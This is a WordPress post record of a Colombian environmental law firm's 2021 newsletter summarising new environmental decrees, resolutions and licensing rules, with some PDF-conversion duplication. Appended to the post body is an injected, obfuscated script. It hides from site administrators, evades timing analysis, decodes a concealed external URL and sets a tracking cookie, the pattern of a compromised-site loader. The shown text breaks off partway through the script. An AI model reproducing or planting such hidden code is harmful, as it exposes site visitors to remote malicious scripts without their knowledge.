{"id":1519,"date":"2021-02-28T20:31:19","date_gmt":"2021-02-28T20:31:19","guid":{"rendered":"https:\/\/alvarezabogadosambiental.com\/?p=1519"},"modified":"2026-02-11T18:46:10","modified_gmt":"2026-02-11T18:46:10","slug":"boletin-informativo-no-1-de-2021","status":"publish","type":"post","link":"https:\/\/alvarezabogadosambiental.com\/es\/2021\/02\/28\/boletin-informativo-no-1-de-2021\/","title":{"rendered":"BOLET\u00cdN INFORMATIVO No. 1 de 2021"},"content":{"rendered":"\n<h2 class=\"wp-block-heading has-palette-color-2-color has-text-color has-link-color wp-elements-d8e084c5df8c34f596fd0440653e1d16\">BOLET\u00cdN INFORMATIVO No. 1 de 2021<\/h2>\n\n\n<div class=\"page\" title=\"Page 1\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<h2>Nuevas disposiciones sobre el Diagno\u0301stico Ambiental de Alternativas \u2013 DAA<br \/>\nDecreto No. 1585 de 02-12-2020 &#8211; Ministerio de Ambiente y Desarrollo Sostenible<\/h2>\n<p>Por el cual se modifica y adiciona el Decreto 1076 de 2015 (Decreto U\u0301nico Reglamentario del Sector Ambiente y Desarrollo Sostenible), en lo relacionado con el Diagno\u0301stico Ambiental de Alternativas \u2013 DAA y el tra\u0301mite de licenciamiento ambiental y se dictan otras disposiciones. El acto administrativo que elija la alternativa tendra\u0301 una vigencia de tres (3) an\u0303os, contados a partir de su firmeza. Trascurrido este te\u0301rmino sin que el interesado inicie el tra\u0301mite de licenciamiento ambiental, la autoridad ambiental competente declarara\u0301 la pe\u0301rdida de su vigencia, con las mismas reglas y tra\u0301mite de la pe\u0301rdida de vigencia de la licencia ambiental, salvo que el interesado alegue fuerza mayor o caso fortuito.<\/p>\n<p>Regula aspectos con relacio\u0301n a la procedencia de la consulta previa para los tra\u0301mites de solicitud y modificacio\u0301n de Licencia Ambiental, facultando a la autoridad ambiental competente para solicitar la actualizacio\u0301n del pronunciamiento de la Direccio\u0301n de la Autoridad Nacional de Consulta Previa del Ministerio del Interior (DANCP), sobre la procedencia o no de consulta previa, en el evento en que lo considere te\u0301cnica y juri\u0301dicamente necesario. El plazo ma\u0301ximo previsto para suministrar el pronunciamiento sera\u0301 de dieciocho (18) meses, y en caso de que no se allegue durante el te\u0301rmino, dara\u0301 lugar al archivo del expediente. En todo caso, no se otorgara\u0301 ni se modificara\u0301 Licencia Ambiental en donde no se haya surtido a cabalidad el tra\u0301mite de consulta previa cuando esta proceda.<\/p>\n<h2>Nuevo modelo de licenciamiento ambiental<\/h2>\n<p>La Autoridad Nacional de Licencias Ambientales \u2013 ANLA con la puesta en marcha de su Plan Estrate\u0301gico Institucional hasta 2030, ha enfocado sus esfuerzos a mejorar los procesos de planeacio\u0301n de la entidad a partir de cuatro objetivos, tales como;<\/p>\n<p>\u2713 Incrementar la credibilidad en la entidad por parte de los grupos de intere\u0301s.<br \/>\n\u2713 Contribuir con el desarrollo sostenible ambiental a partir de procesos efectivos de evaluacio\u0301n y seguimiento.<br \/>\n\u2713 Gestionar el conocimiento y la innovacio\u0301n en los procesos de evaluacio\u0301n y seguimiento de las licencias, permisos y tramites ambientales con transparencia.<br \/>\n\u2713 Contribuir con la implementacio\u0301n de un modelo de gestio\u0301n pu\u0301blica efectivo, orientado a resultados y a la satisfaccio\u0301n de sus grupos de intere\u0301s.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"page\" title=\"Page 2\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>En el marco del Plan Estrate\u0301gico Institucional, se vienen llevando a cabo mejoras dentro de los subprocesos que integran cada una de las etapas del licenciamiento ambiental, lo que en si\u0301ntesis la ANLA ha denominado como el \u201cNuevo Modelo Interno de Licenciamiento Ambiental\u201d, el cual a trave\u0301s de la implementacio\u0301n de varios instrumentos te\u0301cnicos internos que se han puesto a disposicio\u0301n de los usuarios, busca estandarizar y parametrizar las herramientas de ana\u0301lisis te\u0301cnico, asi\u0301 como los conceptos y obligaciones que se encuentran dentro del instrumento de manejo y control ambiental, de manera que se optimicen los procesos de evaluacio\u0301n y seguimiento.<\/p>\n<p>Hasta el momento la ANLA, a trave\u0301s de la Subdireccio\u0301n de Instrumentos, Permisos y Tra\u0301mites Ambientales (SIPTA) ha puesto a disposicio\u0301n los siguientes instrumentos te\u0301cnicos:<\/p>\n<ol>\n<li>1- \u00a0<strong>Clasificacio\u0301n y Jerarquizacio\u0301n de impactos ambientales generados por los proyectos, obras o actividades sujetos a Licencia Ambiental,<\/strong> los cuales tienen como objetivo; i) estandarizar los impactos presentados en los Estudios Ambientales y ii) contabilizar la frecuencia de los impactos significativos, agrupando los resultados por el sector y el a\u0301rea hidrogra\u0301fica de la ubicacio\u0301n espacial de los proyectos.<\/li>\n<li>2- \u00a0<strong>Obligaciones mi\u0301nimas segu\u0301n cada POA (Proyecto, Obra o Actividad)<\/strong>, cuyo objetivo es estandarizar las obligaciones asociadas al otorgamiento de permisos y autorizaciones en el marco de un determinado tipo de proyecto, obra o actividad, de tal manera que las obligaciones que se impongan mediante acto administrativo posean caracteri\u0301sticas y condiciones unificadas y claramente definidas de modo, tiempo y lugar. A la fecha se han estandarizado las obligaciones mi\u0301nimas para los siguientes POA:\n<ul>\n<li>Perforacio\u0301n exploratoria de hidrocarburos y Explotacio\u0301n de hidrocarburos.<\/li>\n<li>Conduccio\u0301n de fluidos por ductos<\/li>\n<li>Sistemas de transmisio\u0301n de energi\u0301a ele\u0301ctrica<\/li>\n<li>Construccio\u0301n de carreteras y\/o tu\u0301neles.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"page\" title=\"Page 3\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<h2>U\u0301nico Origen Nacional de Coordenadas para los POA sujetos a licencia ambiental, seguimiento, permiso o tra\u0301mite ambiental de competencia de la ANLA.<\/h2>\n<p><strong>Circular Externa No. 001 de 09-10-2020 &#8211; Autoridad Nacional de Licencias Ambientales \u2013 ANLA<\/strong><\/p>\n<p>La ANLA informa que a partir del 1o de enero de 2021, toda la informacio\u0301n geogra\u0301fica que presenten los proyectos, obras y\/o actividades sujetos a licencia ambiental, seguimiento, permiso o tra\u0301mite ambiental de competencia de esa entidad, debera\u0301 estar acorde con el U\u0301nico Origen Nacional de Coordenadas o Sistema de Proyeccio\u0301n Cartogra\u0301fica para Colombia &#8211; Origen Nacional, conforme con lo dispuesto por el Instituto Geogra\u0301fico Agusti\u0301n Codazzi \u2013 IGAC en las <strong>Resoluciones No. 471 del 14 de mayo de 2020 y No. 529 del 05 de junio de 2020.<\/strong><\/p>\n<p>El Origen Nacional de Coordenadas traera\u0301 una nueva proyeccio\u0301n cartogra\u0301fica, cuyos para\u0301metros podra\u0301n configurarse en un software orientado a procesamiento de informacio\u0301n geogra\u0301fica, y realizar la proyeccio\u0301n cartogra\u0301fica de los datos geogra\u0301ficos de la cartografi\u0301a ba\u0301sica entregada por el IGAC o cartografi\u0301a tema\u0301tica generada en cada estudio o informe que presente cada proyecto, obra y\/o actividad en particular.<\/p>\n<h2>Nuevos plazos para registrar proyectos de validacio\u0301n y verificacio\u0301n de iniciativas de reduccio\u0301n de gases de efecto invernadero (GEI) en Colombia. Resolucio\u0301n No. 831 de 30-09-2020 &#8211; Ministerio de Ambiente y Desarrollo Sostenible<\/h2>\n<p>Se modifica la Resolucio\u0301n No. 1447 de 2018, en lo relacionado con la acreditacio\u0301n de los Organismos de Validacio\u0301n y Verificacio\u0301n (OVV), la vigencia ma\u0301xima de los resultados de mitigacio\u0301n a reportar en el Registro Nacional de Reduccio\u0301n de las Emisiones de GEI \u2013 (RENARE), y el periodo ma\u0301ximo para la inscripcio\u0301n y actualizacio\u0301n de las iniciativas en la plataforma RENARE.<\/p>\n<p>La Resolucio\u0301n No. 1447 de 2018, estableci\u0301a como plazo ma\u0301ximo diciembre de 2018, para que los OVV pudieran realizar procesos de validacio\u0301n y verificacio\u0301n de iniciativas de mitigacio\u0301n distintas a programas y proyectos del Mecanismo de Desarrollo Limpio \u2013 MDL. En ese sentido, con la modificacio\u0301n efectuada los OVV tuvieron plazo hasta el 31 de diciembre de 2020 para validar y verificar las iniciativas de mitigacio\u0301n.<\/p>\n<p>Por otro lado, a partir del 1 de enero de 2020, el titular de la iniciativa de mitigacio\u0301n de (GEI) solo podra\u0301 reportar y cancelar en (RENARE) resultados de mitigacio\u0301n de (GEI) que tengan una vigencia no mayor a cinco (5) an\u0303os. Sin embargo, la anterior restriccio\u0301n empezara\u0301 a regir desde el 1 de enero de 2021, para aquellas iniciativas de mitigacio\u0301n que hayan validado su li\u0301nea base con anterioridad al 1o de julio de 2020, cuya evidencia sera\u0301 el respectivo informe de validacio\u0301n o aquel que haga sus veces emitido por un OVV.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"page\" title=\"Page 4\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>Por u\u0301ltimo, la Resolucio\u0301n No. 831 de 2020 ha dispuesto un nuevo te\u0301rmino para la inscripcio\u0301n y actualizacio\u0301n de la informacio\u0301n de iniciativas en la plataforma RENARE, el cual sera\u0301 de ma\u0301ximo tres (3) meses, contados a partir del momento en que la plataforma sea puesta en operacio\u0301n por parte del Ministerio de Ambiente y Desarrollo Sostenible y el Instituto de Hidrologi\u0301a, Meteorologi\u0301a y Estudios Ambientales (IDEAM), mediante comunicacio\u0301n oficial emitida por estas entidades en la que se indique la habilitacio\u0301n de la plataforma para el registro.<\/p>\n<h2>Se modifica el procedimiento de Consulta Previa establecido en la Directiva Presidencial No. 10 de 2013.<br \/>\nDirectiva Presidencial No. 08 de 09-09-2020 \u2013 Presidencia de la Repu\u0301blica<\/h2>\n<p>Como novedad, la Directiva Presidencial ha incorporado el concepto o criterio de afectacio\u0301n directa a comunidades e\u0301tnicas, a partir de la Sentencia de la Corte Constitucional SU- 123 de 2018, sustituyendo la etapa de \u201cCertificacio\u0301n sobre la presencia de comunidades e\u0301tnicas que hace necesaria la consulta previa\u201d por la nueva etapa de \u201cDeterminacio\u0301n de procedencia de consulta previa\u201d, a cargo de la Direccio\u0301n de la Autoridad Nacional de Consulta Previa del Ministerio del Interior (DANCP) &#8211; Subdireccio\u0301n Te\u0301cnica de Consulta Previa, entidad encargada de determinar si existe o no afectacio\u0301n directa sobre comunidades e\u0301tnicas en la ejecucio\u0301n de un POA.<\/p>\n<p>Adema\u0301s, se incluye el test de proporcionalidad a la etapa final o de acuerdos de la consulta previa, la cual sera\u0301 exigible en el caso de que se presenten los siguientes eventos; (i) falta de acuerdo en la preconsulta o consulta. (ii) inasistencia de las autoridades representativas, una vez agotado los procedimientos de convocatoria establecidos; y (iii) la falta de solucio\u0301n del conflicto de representatividad en la comunidad e\u0301tnica.<\/p>\n<p>De conformidad con la Directiva Presidencial, el te\u0301rmino ma\u0301ximo de duracio\u0301n del test sera\u0301 de tres (3) meses, y tendra\u0301 como finalidad el determinar las medidas de manejo adecuadas para prevenir, corregir o mitigar las afectaciones directas, las cuales debera\u0301n estar desprovistas de arbitrariedad, fundamentadas en criterios de razonabilidad, proporcionalidad y objetividad, y tomara\u0301n en consideracio\u0301n las posiciones expresadas por la comunidad e\u0301tnica y por la entidad promotora o el ejecutor del POA.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"page\" title=\"Page 5\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>Con respecto al diligenciamiento de la informacio\u0301n en el registro, de acuerdo a lo dispuesto el Ministerio de Ambiente y Desarrollo Sostenible debera\u0301 ajustar el formato con su respectivo instructivo para el RURH, dentro del plazo ma\u0301ximo de un an\u0303o contado a partir de la entrada en vigencia del Decreto 1210 de 2020.<\/p>\n<h2>Nuevas tarifas por servicios prestados por las autoridades ambientales Resolucio\u0301n No. 628 de 2020 de Barranquilla Verde &#8211; Resolucio\u0301n No. 206 de 2020 de EPA Cartagena &#8211; Resolucio\u0301n No. 2039 de 16-12-2020 de la ANLA<\/h2>\n<p>Autoridades ambientales modificaron sus tarifas por la prestacio\u0301n de servicios de evaluacio\u0301n y seguimiento ambiental, establecimientos como Barranquilla Verde y EPA Cartagena, modificaron el valor de sus cobros por honorarios, mediante Resolucio\u0301n No. 628 de 2020 y Resolucio\u0301n No. 206 de 2020, respectivamente. Ello implica un incremento en los cobros que realizan estas autoridades ambientales por los servicios de evaluacio\u0301n y seguimiento a las licencias, permisos y dema\u0301s instrumentos de manejo y control ambiental.<\/p>\n<p>La Autoridad Nacional de Licencias Ambientales (ANLA) modifico\u0301 la Resolucio\u0301n No. 0324 de 2015, norma por medio de la cual se fijaron tarifas de cobro evaluacio\u0301n y seguimiento de los proyectos que sean competencia de esta entidad, en el sentido de incluir los Planes de Gestio\u0301n Ambiental de Residuos de Envases y Empaques y los pronunciamientos sobre cambios menores de licencia ambiental, como actividad sujetas a cobro de tarifas por evaluacio\u0301n y seguimiento.<\/p>\n<h2>Te\u0301rminos de Referencia para proyectos de hidrocarburos y mineros<\/h2>\n<p><strong>1. Explotacio\u0301n de Pequen\u0303a Mineri\u0301a y Formalizacio\u0301n Minera \u2013 Resolucio\u0301n No. 447 de 2020 y Resolucio\u0301n No. 448 de 2020 \u2013 Ministerio de Ambiente y Desarrollo Sostenible<\/strong><\/p>\n<p>A trave\u0301s de la <strong>Resolucio\u0301n No. 447 de 2020<\/strong>, fueron establecidos los te\u0301rminos de referencia para la elaboracio\u0301n del Estudio de Impacto Ambiental (EIA) para el tra\u0301mite de licencia global de proyectos de explotacio\u0301n de pequen\u0303a mineri\u0301a.<\/p>\n<p>Seguidamente, fue expedida la <strong>Resolucio\u0301n No. 448 de 2020<\/strong> que consagra los te\u0301rminos de referencia para la elaboracio\u0301n del Estudio de Impacto Ambiental (EIA) para la obtencio\u0301n de licencias ambientales temporales para la formalizacio\u0301n minera.<\/p>\n<p>Ambas resoluciones fueron impulsadas, en virtud, de los principios que rigen el Plan Nacional de Desarrollo de 2019 -2022, adoptado mediante la Ley 1955 de 2019. El cual pretende que aquellos pequen\u0303os empresarios que desarrollen estas actividades puedan ejercerla de forma legal y segura desde la perspectiva ambiental y tambie\u0301n empresarial.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"page\" title=\"Page 6\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p><strong>2. Proyectos Piloto de Investigacio\u0301n Integral (PPII) en Yacimientos No Convencionales (YNC) &#8211; Fracking<\/strong><\/p>\n<p>Mediante <strong>Resolucio\u0301n No. 40185 de 2020<\/strong> del Ministerio de Minas y Energi\u0301a, fuero reglamentados los requerimientos te\u0301cnicos para adelantar los Proyectos Piloto de Investigacio\u0301n Integral (PPII) en Yacimientos No Convencionales (YNC), mediante la utilizacio\u0301n de la te\u0301cnica de Fracturamiento Hidra\u0301ulico Multietapa con Perforacio\u0301n Horizontal &#8211; FH-PH<\/p>\n<div class=\"page\" title=\"Page 6\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>Posteriormente, el Ministerio de Ambiente y Desarrollo Sostenible expide la <strong>Resolucio\u0301n No. 0821 del 24 de septiembre de 2020<\/strong>, la cual establece los te\u0301rminos de referencia para la elaboracio\u0301n del Estudio de Impacto Ambiental (EIA), de competencia exclusiva de la Autoridad Nacional de Licencias Ambientales (ANLA)<\/p>\n<\/div>\n<\/div>\n<\/div>\n<p>Estudio de Impacto Ambiental (EIA), de competencia exclusiva de la<\/p>\n<h2>Plan de Gestio\u0301n Ambiental de Residuos de Envases y Empaques Resolucio\u0301n No. 1342 de 24-12-2020 &#8211; Ministerio de Ambiente y Desarrollo Sostenible<\/h2>\n<p>La Resolucio\u0301n No. 1407 de 2018, ordeno\u0301 a productores de envases y empaques implementar un plan de gestio\u0301n ambiental para este tipo de residuos. El plan debi\u0301a ser presentando antes del 31 de diciembre de 2020, sin embargo, el Ministerio mediante la nueva norma extendio\u0301 el plazo hasta el 31 de enero de 2021.<\/p>\n<p>Adicionalmente, a trave\u0301s de esta resolucio\u0301n, el Ministerio resuelve dudas que quedaron inconclusas inicialmente: (i) excluye todos los envases y empaques de fa\u0301rmacos y medicamentos (ii) hace alusio\u0301n a los envases y empaques retornables (iii) nuevas obligaciones de transformadores, especialmente, su inscripcio\u0301n ante las autoridades ambientales competentes. Finalmente modifica los anexos inicialmente adoptados por la Resolucio\u0301n No. 1407 de 2018.<\/p>\n<\/div>\n<\/div>\n<div class=\"section\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>No. 40185 de 2020 del Ministerio de Minas y Energi\u0301a, fueron<\/p>\n<\/div>\n<\/div>\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>reglamentados los requerimientos te\u0301cnicos para adelantar los Proyectos Piloto de<\/p>\n<\/div>\n<\/div>\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>Investigacio\u0301n Integral (PPII) en Yacimientos No Convencionales (YNC), mediante la utilizacio\u0301n de la te\u0301cnica de Fracturamiento Hidra\u0301ulico Multietapa con Perforacio\u0301n Horizontal<\/p>\n<\/div>\n<\/div>\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>&#8211; FH-PH.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>Posteriormente, el Ministerio de Ambiente y Desarrollo Sostenible expide la Resolucio\u0301n No. 0821 del 24 de septiembre de 2020, la cual establece los te\u0301rminos de referencia para la<\/p>\n<\/div>\n<\/div>\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>elaboracio\u0301n del<\/p>\n<\/div>\n<\/div>\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>Autoridad Nacional de Licencias Ambientales (ANLA).<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"page\" title=\"Page 7\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<h2>Aplazadas metas de cumplimiento de planes de gestio\u0301n de devolucio\u0301n de productos posconsumo y sistemas de recoleccio\u0301n colectiva<br \/>\nResolucio\u0301n No. 1343 de 24-12-2020 &#8211; Ministerio de Ambiente y Desarrollo Sostenible<\/h2>\n<p>Como consecuencia de la emergencia sanitaria ocasionada por el COVID 19, los porcentajes de metas de cumplimiento de los planes de gestio\u0301n de devolucio\u0301n posconsumo han sido modificados para el an\u0303o 2020. Para que estos i\u0301ndices sean aplicados es necesario que el informe de actualizacio\u0301n se justifique las limitaciones para la recoleccio\u0301n de residuos, asi\u0301 como, la identificacio\u0301n de las medidas implementadas en el 2020 para superar esas limitaciones presentadas.<\/p>\n<p>Los planes de gestio\u0301n de devolucio\u0301n posconsumo a los cuales aplica esta resolucio\u0301n del ministerio de Medio Ambiente y Desarrollo Sostenible son los siguientes:<\/p>\n<ul>\n<li>Pilas y\/o acumuladores<\/li>\n<li>Medicamentos vencidos<\/li>\n<li>Computadores y\/o perife\u0301ricos<\/li>\n<li>Bateri\u0301as Usadas Plomo A\u0301cido<\/li>\n<li>Bombillas Usadas<\/li>\n<li>Llantas Usadas de vehi\u0301culos<\/li>\n<li>Llantas Usadas de bicicletas<\/li>\n<li>Envases de Plaguicidas de uso agri\u0301cola, industrial, veterinario y salud pu\u0301blica.<\/li>\n<li>Bateri\u0301as Usadas de Plomo A\u0301cido Motocicletas<\/li>\n<li>Bateri\u0301as Usadas de Plomo A\u0301cido Automotores<strong>Extendido el plazo para implementacio\u0301n del Co\u0301digo de Colores para algunas actividades econo\u0301micas<\/strong><br \/>\n<strong>Resolucio\u0301n No. 1344 de 24-12-2020 &#8211; Ministerio de Ambiente y Desarrollo Sostenible<\/strong>Para aquellas empresas que realicen algunas de las actividades mencionadas a continuacio\u0301n, han sido extendido el plazo para la implementacio\u0301n del co\u0301digo de colores hasta el 01-07- 2022.<\/p>\n<p>1. Los servicios de atencio\u0301n en salud, como actividades de la pra\u0301ctica me\u0301dica, pra\u0301ctica odontolo\u0301gica, apoyo diagno\u0301stico, apoyo terape\u0301utico y otras actividades relacionadas con la salud humana, incluidas las farmacias y farmacias-drogueri\u0301as.<\/p>\n<p>&nbsp;<\/p>\n<p>2. Bancos de sangre, tejidos y semen.<\/li>\n<\/ul>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"page\" title=\"Page 8\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<ol start=\"3\">\n<li>Centros de docencia e investigacio\u0301n con organismos vivos o con cada\u0301veres.<\/li>\n<li>Bioterios y laboratorios de biotecnologi\u0301a.<\/li>\n<li>Los servicios de tanatopraxia, morgues, necropsias, y exhumaciones.<\/li>\n<li>El servicio de lavado de ropa hospitalaria o de esterilizacio\u0301n de material quiru\u0301rgico.<\/li>\n<li>Plantas de beneficio animal (mataderos).<\/li>\n<li>Servicios veterinarios que incluyen: consultorios, cli\u0301nicas, laboratorios, centros de zoonosis y zoolo\u0301gicos, tiendas de mascotas, drogueri\u0301as y peluqueri\u0301as veterinarias.<\/li>\n<li>Establecimientos destinados al trabajo sexual y otras actividades ligadas.<\/li>\n<li>Servicios de este\u0301tica y cosmetologi\u0301a ornamental tales como: barberi\u0301as, peluqueri\u0301as, escuelas de formacio\u0301n en cosmetologi\u0301a, estilistas y manicuristas, salas de belleza y afines.<\/li>\n<li>Centros en los que se presten servicios de piercing, pigmentacio\u0301n o tatuajes.<\/li>\n<\/ol>\n<h2>Disposiciones en materia de vivienda y ha\u0301bitat<br \/>\nLey 2079 de 14-01-2021 \u2013 Congreso de la Repu\u0301blica<\/h2>\n<p>Reconoce como una poli\u0301tica de Estado la poli\u0301tica pu\u0301blica de ha\u0301bitat y vivienda, la cual tiene como objeto adoptar normas destinadas a complementar la poli\u0301tica habitacional urbana y rural en el pai\u0301s, con el fin de garantizar el ejercicio efectivo del derecho a una vivienda y ha\u0301bitat dignos para todos los colombianos, en el marco de la proteccio\u0301n ambiental y el desarrollo sostenible.<\/p>\n<p>Dentro de los objetivos de esta nueva ley se encuentra establecer mecanismos que permitan reducir el de\u0301ficit habitacional cuantitativo y cualitativo en Colombia, mediante el aumento subsidios, del financiamiento a la demanda y la promocio\u0301n de la oferta y el suelo urbanizable en el pai\u0301s.<\/p>\n<h2>Boleti\u0301n Informativo No. 1 de 2021 (Octubre de 2020 a Enero de 2021) Alvarez Abogados Ambientales S.A.S.<\/h2>\n<p>Advertencia: El boleti\u0301n de A\u0301lvarez Abogados Ambientales S.A.S., no es, ni podra\u0301 ser usado como asesori\u0301a o concepto legal, en vista de que se trata de un documento puramente informativo.<\/p>\n<\/div>\n<\/div>\n<\/div>\n\n\n<p><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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